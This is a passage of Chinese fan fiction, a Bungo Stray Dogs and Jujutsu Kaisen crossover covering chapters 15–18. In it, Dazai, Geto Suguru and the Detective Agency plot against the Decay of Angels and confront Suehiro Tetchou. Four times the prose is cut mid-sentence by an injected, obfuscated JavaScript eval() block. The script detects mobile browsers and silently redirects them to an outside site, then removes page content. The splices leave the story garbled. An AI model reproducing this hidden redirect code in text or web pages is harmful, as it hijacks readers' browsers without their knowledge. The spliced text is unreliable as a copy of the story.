不过这话没必要说出来,他润了润干渴的嗓子,“如果你想知道隐藏起来的细节,等国木田回来后把其他人聚集起来,我一起说,如果你好奇心没那么重,先去睡个几小时,吃完晚饭侦探社就要开会了。” 夏油杰不假思索,“那直接——” “我推荐你选择后一个。”太宰打断了他。 夏油杰奇怪地看过去,对方低着眼,鸢色眼睛仿佛被天际遮蔽的阴影,用手指摸索茶杯边沿,“你的人生很长,没必要争分夺秒。” 太宰说完,其实自己都惊奇。 他居然劝慰别人生活漫长,若是让安吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258691|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见,可能会大惊小怪地吐槽:什么妖怪,快从太宰君身上离开。 可问题是夏油杰跟他的两个学生不一样,夏油杰不迷茫,迈向理想的脚步比太宰都坚定,除了根歪到极致,简直是翻版的国木田和苍王。 太宰却受限于天人五衰事件,没办法复刻出当年苍之使徒的经历,用血淋淋的案例叫醒他。 夏油杰不理解他的潜台词,只觉得无语,他委婉提醒:“吸血鬼的感染力你看见了,再不制止,整个地球都会变成怪物的乐园。” 这跟咒灵有什么区别? 夏油杰从头到脚连带着头发丝都表达出对这份代餐的抗拒。 有些替代品就不该出现在世上,他看见正餐都下意识恶心。 最关键的是吸血鬼闹得天翻地覆,也没办法给他补充咒灵,他想到这脸色不太好,抓了抓披散的头发,“这种情况,让我怎么放心去睡觉。” 可他刚才进来时夏油杰不就准备去铺榻榻米吗? 如果夏油杰因为他陷入昏迷才愿意休息现在发现太宰活蹦乱跳就立马改变心意……那他也太习惯迁就别人了吧! 港口黑手党的良心中原中也都不这样。 无意窥到夏油杰过去一角,太宰表情变了又变,只有自认为处于上位、应该理所当然担负全部职责的人,才会在傲慢的同时养成迁就的性格……夏油杰过去到底经历过什么? 这种复杂的人生经历,以及那什么咒术师和高专,为什么各大组织记录里一点只言片语都没有。 太宰不愿意相信这种鲜活的人生是书创造、灌输出来的,假如记忆可以被扭曲,那人生岂不是太悲惨了吗。 这个时候,夏油杰已经推门出去,正在递抹布的蒙哥马利和戳咒灵身体的泉镜花齐齐收手,瞬间起身装作若无其事的样子。 泉镜花面无表情地眨着眼睛:“是饿了么?敦他们还在做饭。” “没有。”夏油杰摇头,“是太宰醒了,等下叫侦探社来谈谈吧,我需要了解天人五衰搞事目标。” 太宰从身后的屋里走出来,他依靠在门框上,百无聊赖地开口:“我现在就可以告诉你,颠覆囯家,掌握权利,世界大战,再加上个只有自己理解的光辉理想,你把这些随机排列组合一下,基本不会有错。” 如果说从叛逃到现在,太宰由黑到白有什么感想,只需要用几句话概括。 想当好人有千百种理由,等到最后统共不过一句‘不需要理由’来概括。 而成为坏人也有无数个借口,讲来讲去,最后说给外人听说和洗脑自己的,也不过是些自认为言之凿凿光明盛大的理想。 无论是魔人,苍王,还是…… 太宰治视线隐晦地扫了一眼夏油杰。 “太宰先生!”泉镜花眼前一亮。 她和中岛敦差不多,对侦探社的这位前辈抱有深刻信任,她以前是港口黑手党的人,作为芥川部下,她比侦探社任何人都了解太宰治的能力。 ——只要他醒来,再怎么天翻地覆的闹剧,都即将走向落幕。 这是港口黑手党某种隐隐约约的共识。 15.第 15 章 各做各事的侦探社成员重新回来,秘密据点里挤满了人,田山花袋肩负着艰巨使命,刚出来就在加固防火墙,他一边加班一边吐槽:“下次能不能给我加床被子。” 作为他多年好友的国木田郑重其事:“防火墙就拜托你了,我们需要外界的实时情报,不能断网,但又不能让军警和警察追踪到信号。” 田山花袋抱着电脑唉声叹气:“算了,你们聊,我去房间里,没事别找我。” 夏油杰饶有趣味地打量着田山花袋背影,他看过爱伦坡的资料,作为北美组合的智商担当和计划策划人,默尔索理所当然会收录爱伦坡的资料。 但田山花袋不同,他是个隐身的存在,在亲眼见到之前,夏油杰根本不知道侦探社背后有黑客在提供技术支援。 “他以前是侦探社的一员,之前也被天人五衰暗杀了,还是坡及时把他救走。”江户川乱步看一眼就知道他在想什么,随口解释道。 太宰站起来,拍了拍手:“总之,这次事情的起因由我来说吧,顺便,芥川,你也进来吧。” 门外缓缓走进一个黑风衣年轻人,身形消瘦,眉眼萦绕着病重之人独有的病气,他环视一圈惊讶的众人,克制冷淡地打招呼:“太宰先生。” 太宰点头,示意他随便坐,“被捕前两天,我预感会发生点什么,于是找到芥川,麻烦他充当我在外的眼睛,乱步先生应该猜到这事了。” 江户川乱步咬着棒棒糖,“有猜测,但不确定是芥川还是帽子君。” 太宰接着说:“除此之外,还有特务科的坂口安吾,他和芥川一个在明一个在暗,帮了我不少忙。” 夏油杰比较好奇的是,“我大概猜到费奥多尔在靠吸血鬼收传消息,你靠什么?” “很简单,还记得咱们手术取出的监视器吧,安吾身为参事官辅佐,有资格查看犯人的情况,将我的心跳按规律转成文字,就能收到消息。” 太宰语气轻松地说:“至于我,默尔索里有一个时间停止的异能者,她受到威逼利诱,会按照安吾的要求发动异能,我可以通过停止的规律来解读消息,想做点什么也轻松,因为在被静止的时间里,只有我可以活动。” 夏油杰想起太宰神出鬼没的纸条和突然拿出来的联络器。 原来是他自己走进来放的。 想清楚事情经过,夏油杰头疼到仿佛回了高专,五条悟非要抓着他新收服的咒灵玩游戏,太宰给了他差不多的感觉。 中岛敦不知道这段插曲,他好奇追问:“那魔人的联系方法呢?” “是吸血鬼。”夏油杰帮他说了,免得他神神秘秘故弄玄虚。 “被同化的吸血鬼一直在操纵台前给费奥多尔发消息,同时向外界传递指令,但我不知道太宰怎么猜到的。” 太宰笑吟吟道:“因为你啊,夏油君。” “监狱的传统是在事后把动乱归纳成档案,作为新犯人的资料补充,但这次天人五衰事件,默尔索居然一直在实时追踪信息,我就猜到费奥多尔的同伙混进来了。” 他说完摇头,“默尔索非常严格,连安吾都要打好几份申请,魔人才进去一个月,不可能当着监控的面把狱警挑拨成棋子。” 夏油杰有点惊讶而,他惊讶的点在于,太宰治竟然不认为费奥多尔无法收拢棋子。 而是时间太短,魔人至少应该留下点破绽。 “然后是我。”江户川乱步举棒棒糖,“我救完侦探社后,安吾君发来消息,让我远离任何政府人员,尤其是军警,我只好带着所有人去投奔黑手党啦!” 他放回嘴里,含糊其辞道:“不然我打算向全世界警察公开一下他们是笨蛋的!乱步先生才不是天人五衰!” 所有人都对这位幼稚的侦探抱以一笑,夏油杰习惯照顾身边的人,加上他救走了菜菜子美美子,态度不禁更温柔了。 看他快吃完,还递了袋薯片过去。 中岛敦紧接着回忆:“我和镜花离开赌场后,直接昏迷,而救下的敌人西格玛为了感谢我,趁机将首领神威的记忆送给我——那是个杀气锋利,脸上戴防毒面具的男人。” “杀气锋利?”太宰若有所思,冷不丁问:“他站立的姿势如何?身上是否配刀?” 江户川乱步了然侧目:“你果然在怀疑军警是内奸。” 中岛敦睁大眼睛:“怎么可能!!” 他语无伦次:“感觉神威的站坐姿势和普通人差不多,而且、而且军警真的很正义,他们为了逮捕罪犯,甚至毁灭了耳膜!” “太奇怪了不是吗。”太宰摊开手,“天人五衰内部有政府的人,这是我们都知道的事实,但在种田部长遭受袭击,生死未卜,特务科内部复仇心旺盛的情况下,怎么看都应该是安吾领着黑色部队追杀我们。” 事实上却是军警却冒了出来。 军警里有老朋友的福泽社长皱着眉,猜测道:“或许是内务省下达的指令?” 太宰说:“我有过类似的想法,毕竟有过秘密会议针对侦探社的前提,可惜魔人说过一句话,吸引了我的注意力。” “他说——猎犬是柄非常好用的利刃。” 夏油杰愣了一下。 有这句话吗?他陷入头脑风暴。 太宰看了一眼沉浸在回忆中的狱友,耸了耸肩,继续说:“作为老对手,我了解魔人,他的评价往往不是空穴来风,假如他说的是真的,将猎犬视为对手才提前了解,评价应该是难缠、棘手、扫清阻碍太麻烦。” 江户川乱步的脸色慢慢冷静下来,“魔人不会犯低级错误,他故意告诉你的?” “无论是与不是,今天都将知晓。”太宰做了个请的手势,“敦,把你口袋里的波子汽水拿出来,现在,轮到揭晓秘密的时刻了。” “诶——?” 中岛敦手忙脚乱地翻口袋,“太宰先生怎么知道我带了零食的?” 芥川看不过眼,用异能把汽水放到江户川乱步面前,冷哼一声:“太宰先生的想法是你能揣测的?” 江户川乱步骄傲地掐腰,“线索足够了,我现在就推理。” 他喝了口汽水当委托的报酬,然后带上黑框眼镜,闭上眼,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265402|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始沉思。 哪怕众人知道太宰断言极少出错,依然忍不住屏住呼吸,小心翼翼等待结果。 气氛过于凝固,夏油杰看不过去,左思右想安慰了句。 “我想猎犬内部不是铁板一块,至少抓捕我的末广铁肠,是个好人。”抽空得去感谢对方一下。 突然间,江户川乱步开口了。 “是他们队长。” 他冷不丁冒出这句话,睁开眼抓了抓头发,不敢看社长的脸色,脸上烦躁沉默不敢置信各种情绪交织。 江户川乱步跟福地樱痴也见过面,对他印象深刻,也亲眼见证过社长与这人之间的情谊,磨蹭几秒,自暴自弃地开口:“是猎犬的队长,福地樱痴,也是社长从小到大的挚友。” 同样有挚友的夏油杰和太宰治齐刷刷侧目。 太宰表示缅怀和理解,他习惯于在得到的时候考虑失去,加上安吾的例子,对背叛这事接受良好。 而作为背叛了挚友、独自追求大义的那个人,夏油杰以己度人,苍白无力地解释了一句:“或许他有自己想追求的意义。” “……” 社长没有说话,不知道在想什么。 太宰反倒把夏油杰的回答默默记在心里。 人类有个坏习惯,是会用自己的经验安慰另一个人。 听夏油杰的想法,难道有普通人抵触他?厌恶他?而且普通人不止一两个,整个群体都无药可救,才让他产生了憎恶普通人是自己存在的意义的念头。 太宰脑海中划过一大片想法,嘴上却接过话题,免得侦探社沉浸在悲伤和不敢置信的气氛里:“天人五衰不是铁板一片,西格玛背叛,布拉姆早年被福地樱痴封印的,果戈里想杀费奥多尔,费奥多尔向我暗示线索去背刺福地樱痴。” 芥川冷淡地点头,表示你们社长的挚友情怀与我何干,他只负责给太宰先生捧场:“每个人各怀心思,不足为惧。” 情况当然没有芥川口中那么轻松,不然侦探社不会差点被逼到全灭,不过太宰也没料到,费奥多尔居然会暗示他福地樱痴有问题。 难道魔人决定甩开首领单干? 不,福地樱痴实力强大,跟费奥多尔评价的差不多,是柄趁手的利刃。 那他突然下这个决定,应该是猜到自己跟夏油杰合作越狱,着急甩出情报,好把他俩赶出默尔索,然后得知追捕主力的军警里有内奸,太宰绝对迫切想回横滨……福地樱痴希望把两人留下,费奥多尔可不想。 他巴不得太宰下一秒就滚出去。 太宰想明白后啧了一声,“熟悉的套路,先随机应变,然后用敌人的成功为自己计划铺路。” 夏油杰转头,没听懂:“什么?” “现在默尔索是费奥多尔一个人的乐园了。”太宰摊开手说,“如果我没猜错,小丑果戈里快到了,他是空间穿越系,用起来比吸血鬼顺手,带其他人越狱也方便,只要魔人承诺带人离开,不少犯人会积极响应。” 默尔索监狱联系了钟塔侍从后,看似即将获救,实则现在才正式陷入危机。 16.第 16 章 太宰走到白板前写下“反击计划”几个大字:“接下来要做的是化劣势为优势,正如夏油君所说,猎犬内部并不知道队长的真面目,我们可以拉拢末广铁肠和第五位卧底搜查官。” 与谢野听到熟悉的称呼,愣了一下,她表情蓦地沉默且悲伤起来。 太宰看过去,温和地劝导:“我们不会让军警知道这处秘密据点的,所以你俩不会见面,芥川会当传话人。” “组织内部有卧底?”芥川沉下脸,那股冷淡而病弱的气质骤然消失,眉眼间的凶狠浮现出来,“是谁?!” 他这几天一直在跟踪中岛敦,从横滨跑到银行又跑到天际赌场,最后跟着他们来到森林,被结界困到这里,还真不知道港口黑手党近期内部的现状。 “森先生选择按下不表,我自然不会僭权越位告诉你。”太宰耸了耸肩,“但第五人的表现给了我一点信心,现在全世界的军队警察都被书更改了认知,如果脱离这层身份,他们认为自己是个普通人或者是黑手党,那书的影响就没用了。” 立原道造直到最后也没有对同僚动手,这不符合军警的暴力常理,可能森先生也抱着这层顾虑,才在从与谢野医生口中得知真相后没告诉任何人。 太宰走过去,拍了拍芥川的肩膀,“总之,你只要把今天会议上的内容告诉森先生,他会明白我的想法,再怎么说,他以前也是我的老师。” “至于末广铁肠。”太宰治又看向夏油杰,“我等下和你一起去。” 本就打算去赔礼道歉的夏油杰无所谓点头,心不在焉:“你们谁知道他喜欢什么?他照顾菜菜子美美子好几天,我准备买点礼物,特产也行。” 国木田的想法下意识被带歪了,认真思考起来,“横滨的特产……走私犯名单可以吗?军警应该很在乎这个吧,或者买点美食?三溪园和镰仓的景点门票?” 正绞尽脑汁回忆呢,国木田突然发现现场有点安静,所有人都在意味深长地看着自己。 他猛地意识到问题,不对,刚才是在讨论天人五衰吧! “等等,重点根本不是礼物吧!你们打算怎么说服他?” “你终于意识到自己在参加反击会议了吗。”太宰态度夸张地逗弄起搭档,在国木田羞愤的视线下收敛一些,干咳两声。 “不需要说服,末广铁肠意志坚定,只要让他认为侦探社是幕后黑手的挡箭牌,就能把他转移到我们的战壕里。” “对于不同的敌人,要有不同的拉拢方式。”江户川乱步第一时间明白他的想法,“全世界都认为我们是恐怖分子,不如直接坐实这个名声,告诉所有人,我们只是听从幕后主使的马前卒。” 太宰说:“在我们侦探社之上——” 江户川乱步说:“在天人五衰之上——” 两人异口同声:“还有一个真正的首领,神威!!” 这下其他人也听明白了。 既然军队警察没办法突破书的认知改变,那就干脆将错就错,将事情闹大,让所有人忍无可忍,主动调查所谓的“首领”神威。 太宰说:“控制好范围,跟敦和镜花之前闯进银行救小栗虫太郎差不多,在不伤害无辜者的前提下扩大影响,港口黑手党和异能特务科会尽量配合你们。” 江户川乱步看向与谢野:“还有种田长官,他跟我讲过,刺伤他的人是西格玛,而他醒后的口供对我们有好处,必须得救他。” 太宰接着说:“安吾没办法把长官转交到侦探社手里,正好,趁此机会,我们去特务科抢走种田长官,坐实我们恐怖分子的身份。” 夏油杰忽然举手,“我有一个问题。” 太宰愣了下,“请说。” 他下意识多看了几眼夏油杰高高举起的右手,无语又感慨,不愧是高中生,总是在莫名其妙的地方带着莫名其妙的小习惯。 完全不认识坂口安吾的夏油杰纳闷极了:“按照你们的说辞,坂口安吾也在书的影响辐射里,为什么他没有任何的动摇?” 其他不清楚原委的侦探社成员顿时茫然。 对啊,按理说立原道造在回归军警身份后都不再信任侦探社,怎么在种田长官证据确凿被乱步刺伤的监控证据下,特务科的成员还帮助他们? 中岛敦挠了挠头,提出一个猜想:“或许是太宰先生和安吾长官认识?之前去天际赌场的时候,他时不时就提起太宰先生。” “不,与这无关。”太宰好笑地摇了摇头,语气缥缈又缅怀,“因为安吾知道,我绝对绝对不可能加入天人五衰。” 咦?在场的人非常震惊。 太宰在侦探社这两年几乎从没联系过坂口安吾,没想到两人关系这么深厚,比起被改变的认知更信任朋友的为人,哪怕太宰曾是黑手党恶名昭著的五大干部之一。 “安吾从来都没有以参事官辅佐的身份在帮忙,而是以一个……”太宰语气斟酌起来,他没有把往事暴露出来让别人怜悯的习惯,干脆匆匆略过那个复杂的谓称,“以一个相识多年的朋友的身份,这也是他不受书影响的原因。” 夏油杰后知后觉发现,自己好像戳到人家不愿提及的往事了。 但太宰浑然不在意地挥了挥手:“好了,计划差不多就这样,芥川回去找森先生吧,谷崎贤治和国木田一组,去劫持种田长官。镜花和敦还有露西小姐,你们去市中心引爆天际赌场的硬币炸弹。” 芥川站起身,向其他人颔首打了招呼,推开椅子离开。 “不过得委屈下社长。”江户川乱步抱歉地嘟囔,“社长不能被人当成神威,所以你也要活跃在前线,伪装成听他人吩咐的模样。” 在乱步眼里,这是件无法容忍的事情。 “只要能让事情回到原样,我不在乎听从谁的指示。” 福泽谕吉本人倒无所谓,他合拢双手站起来,扫视一圈底下的所有人,语气严厉:“现在,所有人听好——” 整个武装侦探社的人员表情严肃而正式。 “我要求你们立刻解决、不…消灭这个问题!!” 社长语气斩钉截铁:“我已经厌烦再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272461|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有社员受伤的情况了!太宰,乱步,行动由你们主导;夏油君和爱伦坡先生,此次事后侦探社定有重谢;与谢野,做好接收伤员的准备;其他人,按计划行事,随时等待响应!” 侦探社全员异口同声:“收到!” 夏油杰挑了挑眉,他发现自己在这种氛围下都变得兴奋起来,独属于咒术师的追逐危险的习惯在蠢蠢欲动,叫嚣着要自己参与进去。 他笑了起来,“只要你们照顾好菜菜子美美子就行,我还挺喜欢这种活动的,至于谢礼……我需要跟空间有关的情报,等事后再讨论吧。” 社长向他点头致谢。 一直等不到自己的要求,爱伦坡左看右看,震惊地指着自己:“等等,我呢?之前乱步去救侦探社的成员,还是我在旁边忙前忙后,结果你们现在团聚,就要甩开我吗?” “当然不是。”得到免费帮手的太宰笑吟吟说,“特务科防备严密,国木田他们需要一个撤退的安全庇护所,坡君的异能正合适,请给他们本小说吧!” 爱伦坡欣然应许,国木田带着新鲜出炉的小说和凶手剧透离开。 只剩下最后一组留在原地,曾经在港口黑手党进行暗杀工作的泉镜花歪着头,语气天然地询问:“要在人群最多的时候引爆炸弹吗?” 太宰捂着额头:“……吓吓他们就行,在爆炸的前一刻,把人群收进安妮的房间里,然后消除他们进入房间的记忆,营造出有好心人救下群众、侦探社阴谋失败的印象。” 泉镜花若有所思:“哦,我懂,拿暴力威胁恐吓,让他们害怕我。” 中岛敦和露西一脸震惊看她,仿佛在说,你在港口黑手党里都学了什么东西! 看得夏油杰忍不住笑了出来。 他站起来,太宰治随后其后,快走几步到夏油杰身边,“走吧,我知道末广铁肠在哪,现在嫌疑犯全部失踪,他只好徘徊在红砖仓库区附近,向附近的情报贩子打听消息。” 两人结伴走出森林,夏油杰没办法用咒力带他走近路,只好一步步走回横滨市里,他冷不丁开口问:“你是不是很好奇我以前的经历?” 太宰心中一凛,夏油杰怎么突然开门见山了。正常来说他不应该装作不知道,争取瞒过多久是多久吗? 侦探社现在承受不住任何意外,他表面笑容不改,暗里谨慎地回答:“有一点。” 夏油杰没看出他的防备,“刚才开会的时候,我回忆了下在监狱里的经历,你不让我说出以前上学的经历,是为了误导费奥多尔吧,你们怀疑我也是那个书创造出来的?” 太宰嘶了一声,没想到这点线索也被他剥丝抽茧发现,原来不是没脑子啊,他郁闷道:“之前我们讨论西格玛的出生原因,你猜出来了?” “刚想明白,费奥多尔先生一直在暗示我。”夏油杰满不在乎,他笑眯眯的,“我想说的是,你要是好奇,我可以告诉你这些往事,就当刚才触及到你不愿意提起的回忆的歉礼。” 嗯,在不面对讨厌的非咒术师的时候,他其实挺讲礼貌的。 17.第 17 章 太宰听到这句话的第一反应是不信。 没人愿意把隐私告诉别人,这个国家拥有着独特的文化冷漠,连街边拍视频都要尽量躲避路人上镜,怎么可能有人愿意剥开自己的层层记忆,把过往捧给另一个人看呢? 但夏油杰的表情告诉他,他是认真的。 “你还真是……”太宰头疼似的感慨,他嘶了一声,“出乎意料。” 夏油杰一听就知道他想到哪去了,他没料到太宰居然会出错,惊讶的同时有点好笑,“我不是为了展示道歉的诚意才告诉你。” “我不认为自己的过去见不得人,哪怕现在走向了跟过去背道而驰的路线,那也是我。”他转头看向东京的方向,极目远眺,连虚伪的假笑都真实了,“而且,我的青春很重要,重要到我不愿意把它封存起来,让自己忽视。” 太宰沉默一会儿,声音很轻地问:“非常重要?” 夏油杰点头。 “重要到,那三年青春才是我的全部人生。” 他举了个例子,“假如我快死了,我绝对会撑着最后一口气,让同学过来杀我,刚好一个动手一个解剖。”夏油杰讲了个冷笑话,“临死前再去求求夜蛾老师,让他在校里划出一块墓碑,好歹也是他教了三年的学生,不能我叛逃就不管吧。” 真是古怪到让正常人毛骨悚然的友情。 但是……可以想象到,那一定是段耀眼而灼目,离奇又难忘的青春。 太宰刚想露出笑容,忽然想到了什么,表情变得恶寒,他斩钉截铁地说:“……刚才稍微带入了下你的想法,如果是我,要奄奄一息回到森先生诊所里,我宁愿现在就跳进鹤见川!” 夏油杰吐槽:“知道自己的老师是黑手党首领,就别随便带入啊,夜蛾老师好歹是正规高中的校长。” 太宰当然不是随便把别人经历带入到自己身上的家伙,他感情没那么充沛,同理心也不强,只不过……他意识到,夏油杰对待死亡的态度很随意。 跟生活在枪林弹雨中生存的港口黑手党成员一样,夏油杰似乎认为,死亡是件稀疏平常的事情,活到五六十岁正常退休才难得一见。 他说:“有点好奇,怎样的环境才能养出你这种人。” “而且你刚才猜错了,我从来都不认为你是被书创造出来的。”太宰想到夏油杰怀念同期的态度,短粗地笑了一声,却没什么笑意,尾音几乎被野外的风声吹散,“认知可以被改变,记忆或许是虚假,但要是连如此热烈真挚的感情都是空中阁楼,我不敢想象,世界上还有什么值得信任的东西。” 夏油杰敏锐发现他不知名低落,虽然太宰脸上依然挂着浮夸的笑脸,可咒术师天生对负面情绪敏感。 他想了想,“你想知道什么?” 夏油杰大度的表示,“你随便提,反正要是遇到不想回答的,你问了,我也不会告诉你。” 太宰:“……” 他消沉的情绪瞬间被无语覆盖,不得不承认,跟夏油杰这种自我又体贴的人聊天非常有趣,总会超出意料之外。 虽然夏油杰说随便问,但太宰不喜欢开门见山直白询问,思来想去,他另辟蹊径,“为什么我从来没听说过咒术师?” 这是个看似轻松,实际上任何回答都会让他抓到真相一角的敏感疑问,哪怕夏油杰拒绝作答,太宰也能从中猜到什么。 这代表,夏油杰的过去可以透露,咒术师的历史却不能向外提及。 果不其然,夏油杰的视线很快从思索变得惊疑不定,他在脱口回答前一秒意识到不对劲:这个是个明谋,对方提出来的瞬间他就落进陷阱里了。 如果他说咒术师习惯隐居,太宰当天就能把全世界异能组织的档案翻出来拍到他脸上,但要夏油杰承认这个世界没有咒术师,那排除了书的可能性的太宰能猜出什么,夏油杰根本不敢想。 这就是有个过于聪明的狱友的苦恼吗? 夏油杰选择实话实说:“如果只有我自己在,倒不介意把真相直接告诉你。”穿越而已,又不是什么大事,他刚知道自己能操纵无上限咒灵时,还以为自己是天选之子呢。 “但菜菜子和美美子也在我身边。”夏油杰有点头疼,叹气,“拜托,多少让我保留点秘密吧。” “可以啊。” 出乎意料,太宰竟然轻而易举地放弃了追问。 迎着夏油杰惊讶探究的眼神,他啧了一下,“很奇怪吗?” “保护自己收养的孩子,并愿意为此付出一切——我欣赏这样的人。”太宰发自内心地祝愿:“夏油君,希望你能一直坚持下去。” 让他多见证一些人类善良的光辉吧,这会让太宰坚信,离开港口黑手党是个正确的决定。 得到这个回答的夏油杰却没有想象中轻松,他吃软不吃硬,太宰的回答反倒让他迟疑起来,而且,这次跟军警约定不同,是他主动提出来的。 他不信言而无信。 夏油杰抓了抓散乱的头发,自从被捕后,失去发绳,他就没有梳丸子头的习惯了,后来出狱也没有闲暇的心思,越来越长的黑发披散在肩膀上,每次烦躁时就揪一下,他心情复杂地随着太宰走进横滨市里,从热闹的商业街走到人迹罕至的红砖仓库区。 在偏僻无人的角落里,夏油杰冷不丁开口了。 “我可以告诉你一半答案。” 太宰睁大眼睛,惊讶地回头看向他。 夏油杰抬手,召唤出咒灵,哪怕明知道太宰看不见,依然展示性地给他看,“咒术师是不能让普通人知道的职业,踏进去,就与老天做了交易,没办法离开。” “我们班主任经常挂在嘴里一句话。”夏油杰重复道,“咒术师没有无悔的死亡。” “其实我想把它改一改,活下来的咒术师,永远都生活在痛苦中。”他习惯性勾出微笑,带着苦涩,这处仓库街角落流淌着静谧的沉默。 大概意识到自己话题太沉重,夏油杰有点后悔,主动打破宁静,把话题歪回来:“每个咒术师都会自动避免被其他人发现,默契隐藏身份。” 太宰缓缓开口,说的却是:“我不信这些东西。” 他接上了夏油杰刚才的话题。 “神明啊、天神啊之类的东西,我不信它们,没有什么注定的命运,连我都从黑手党跳槽到了侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283889|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探社。”太宰深深凝视着他,语气淡漠,“你对自己太苛刻了,夏油君,你好像一直在背负着非常沉重的现实,若是现实将你压垮,包裹摔出来的却只有一堆浑浊的污秽,你会疯的。” 夏油杰反问:“你怎么知道我现在没有疯?” “因为我亲眼见过许多次,真正的疯狂,不是你现在的反应。”说完这句意味深长的话后,太宰没有再继续这个话题,他双手插兜走出这处小巷,指着远处一个小黑点,干脆利落地说。 “那就是末广铁肠,别动,他看到我们了,现在正赶过来。” 顺着手指示意的方向,一个模糊的黑色人影遥遥看过来,眨眼间消失在原地。 太宰迅速后退,语气坚决:“就是现在!东方偏南四度,防护!!” 夏油杰立刻让刚才召唤的咒灵堵在太宰提醒的位置。 下一秒,锋利的刀光出现在眼前,末广铁肠迫不得已站在不远处,而速度极快无比的军刀斩开咒灵,但毫无作用,劈成两半的诅咒下一秒恢复原样,缠在他的刀上不再动弹。 感受到刀陷在凝固的空气里的末广铁肠使力抽回来,他扫了一眼太宰治,面无表情地指责在场的另一个人:“你没有遵守约定……” 夏油杰顿时头更疼了。 这是跟刚才不一样的头疼,他深深叹气,想到刚才会议上的计划,神情自若地聊起了天:“我也不想,但狱里有人招揽了我,而且我不喜欢现在这个的社会。” 末广铁肠下意识转头看向不远处笑脸盈盈的太宰治。 现在全世界都知道,武装侦探社就是天人五衰,作为狱友和合伙人,太宰治的嫌疑程度直线上升,连带着天人五衰的危险度也在上升。 而且末广铁肠是个直觉系,他能感觉出来,夏油杰没有说谎,真的有一个组织招揽了原本想放任自流狱里发呆的他,而且——夏油杰非常不满意现在的社会!准备改造它! 末广铁肠语气瞬间警觉:“你想做什么?跟天人五衰一起当恐怖分子,推翻国家和社会的安稳吗?!” 夏油杰避而不谈,他抽出一叠纸,“好不容易见面,铁肠先生,就不要谈些不愉快的话题了。” “我过来只是为了给你送赔礼,谢谢你照顾菜菜子和美美子,我能看出来,她们其实很喜欢你,这些是横滨走私集团的信息,你们军警应该很需要吧。” 末广铁肠握刀的手蠢蠢欲动,夏油杰却松开手,写满名单的档案整齐飘在半空,晃晃悠悠飞到军警的面前。 旁观许久的太宰也站出来,轻飘飘说道:“军警先生,没有同伴的你可没办法同时抓捕两位高危罪犯,尤其是我的异能,连欧洲超越者都会觉得棘手,比起在这里大闹一场,还是及时回去通知队友才能制止混乱的发生。” 末广铁肠听出他话语里隐藏的威胁。 下意识前行几步,被咒灵硬生生拦下,他沉下声音:“你们做了什么?!” “还记得赌场里的硬币炸弹吗?”太宰微笑,视线却满是冰冷,曾经在黑手党浸染的黑色气质尽数流露出来,他毫不留情地开口,“侦探社收到的下一步指令,是引爆它们。” 18.第 18 章 立下本次恐袭将由侦探社全权负责的豪言壮语,两人立刻趁着末广铁肠晃神的瞬间溜了,回去的时候还换了条路线,期间经过一片巨大的坑洞。 夏油杰站在外围,无意间扫到,被深不见底的坑底震惊到:“这是什么地方?” 他确定两个世界非常像,国木田提过的横滨景点在他记忆里也有,偶尔不一样的地方也是街边小店。 至于市中心里五座高耸入云的大厦,虽然在原本的世界不存在,但太宰说过,那是港口黑手党的总部大楼,由先代首领在几十年前的战时展示实力而修建……考虑到在他的世界里黑手党一直被排挤打压,这里却因战乱而招摇过市,社会文化不同导致了近代地标不同也很正常。 但这个天坑不一样,它太大了,比不少报道里的陨石坑还要大,而且在夏油杰记忆中的横滨根本不存在。 饶是自认为见多识广的他初见也被震撼到。 “擂钵街。”太宰扫了一眼,自从刚才聊完天,他就接受了夏油杰常识时有时无的设定,跟领着人观赏景点似的介绍:“产自很久以前一场军事实验的爆炸。” 擂钵街,夏油杰想,还真是地如其名。 形如擂钵的坑洞坐落在横滨边缘,密密麻麻的集装箱和板棚拥挤得贴在一起,这些避风所简陋无比,坐落在人为凿出来的一道道平地上。 像是条倒转过来的环山公路。 向前走不会登上高山,只会跌进无底地狱。 